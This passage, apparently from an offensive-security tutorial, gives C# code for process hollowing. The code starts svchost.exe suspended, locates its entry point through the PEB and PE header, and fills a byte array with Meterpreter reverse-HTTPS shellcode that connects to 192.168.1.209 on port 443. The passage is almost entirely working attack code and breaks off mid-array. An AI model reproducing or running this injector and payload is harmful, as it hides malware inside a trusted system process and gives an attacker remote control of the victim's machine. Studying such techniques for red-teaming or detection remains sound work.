<p>Now, to flesh out the Main method, this is where the svchost.exe process will be started in a suspended state, have a portion of its memory hollowed out, and the Meterpreter shellcode will be injected before it resumes execution:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">STARTUPINFO</span><span class="p">();</span> <span class="c1">//Instantiate a STARTUPINFO and PROCESS_INFORMATION object</span>
            <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_INFORMATION</span><span class="p">();</span>
            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">CreateProcess</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="c1">//We then supply our instantiated objects to CreateProcess</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span>
            <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">bi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_BASIC_INFORMATION</span><span class="p">();</span> <span class="c1">//We can now call ZwQueryInformationProcess and fetch the address of the PEB from the PROCESS_BASIC_INFORMATION structure</span>
            <span class="kt">uint</span> <span class="n">tmp</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="n">IntPtr</span> <span class="n">hProcess</span> <span class="p">=</span> <span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">;</span>
            <span class="nf">ZwQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">ref</span> <span class="n">bi</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span> <span class="p">*</span> <span class="m">6</span><span class="p">),</span> <span class="k">ref</span> <span class="n">tmp</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">ptrToImageBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)((</span><span class="n">Int64</span><span class="p">)</span><span class="n">bi</span><span class="p">.</span><span class="n">PebAddress</span> <span class="p">+</span> <span class="m">0x10</span><span class="p">);</span> <span class="c1">//ptrToImageBase var now contains a ptr to the img base of svchost.exe in the suspended process</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">addrBuf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span><span class="p">];</span> <span class="c1">//Following the DllImport, we can call ReadProcessMemory by specifying an 8-byte buffer that is then converted to a 64bit integer through the BitConverter.ToInt648 method and then casted to a pointer using (IntPtr).</span>
            <span class="n">IntPtr</span> <span class="n">nRead</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
            <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ptrToImageBase</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="c1">//It is worth noting that a memory address takes up eight bytes in a 64-bit process, while it only uses four bytes in a 32-bit process, so the use of variable types, offsets, and amount of data read must be adapted.</span>
            <span class="n">IntPtr</span> <span class="n">svchostBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToInt64</span><span class="p">(</span><span class="n">addrBuf</span><span class="p">,</span> <span class="m">0</span><span class="p">));</span>
            <span class="c1">//The following step is to parse the PE header to locate the EntryPoint. This is performed by calling ReadProcessMemory again with a buffer size of 0x200 bytes </span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">data</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">0x200</span><span class="p">];</span>
            <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">svchostBase</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">data</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="c1">//To parse the PE header, we must read the content at offset 0x3C and use that as a second offset when added to 0x28</span>
            <span class="kt">uint</span> <span class="n">e_lfanew_offset</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="m">0x3C</span><span class="p">);</span>
            <span class="kt">uint</span> <span class="n">opthdr</span> <span class="p">=</span> <span class="n">e_lfanew_offset</span> <span class="p">+</span> <span class="m">0x28</span><span class="p">;</span>
            <span class="kt">uint</span> <span class="n">entrypoint_rva</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">opthdr</span><span class="p">);</span>
            <span class="c1">//The offset from the base address of svchost.exe to the EntryPoint is also called the relative virtual address (RVA). We must add it to the image base to obtain the full memory address of the EntryPoint.</span>
            <span class="n">IntPtr</span> <span class="n">addressOfEntryPoint</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">entrypoint_rva</span> <span class="p">+</span> <span class="p">(</span><span class="n">UInt64</span><span class="p">)</span><span class="n">svchostBase</span><span class="p">);</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">676</span><span class="p">]</span> <span class="p">{</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x60</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xb7</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x61</span><span class="p">,</span> <span class="m">0x7c</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xed</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x81</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xd8</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x04</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0xe9</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0x5d</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xdb</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xbe</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x26</span><span class="p">,</span> <span class="m">0x07</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0xa7</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0xc6</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0x71</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x61</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc6</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x04</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span 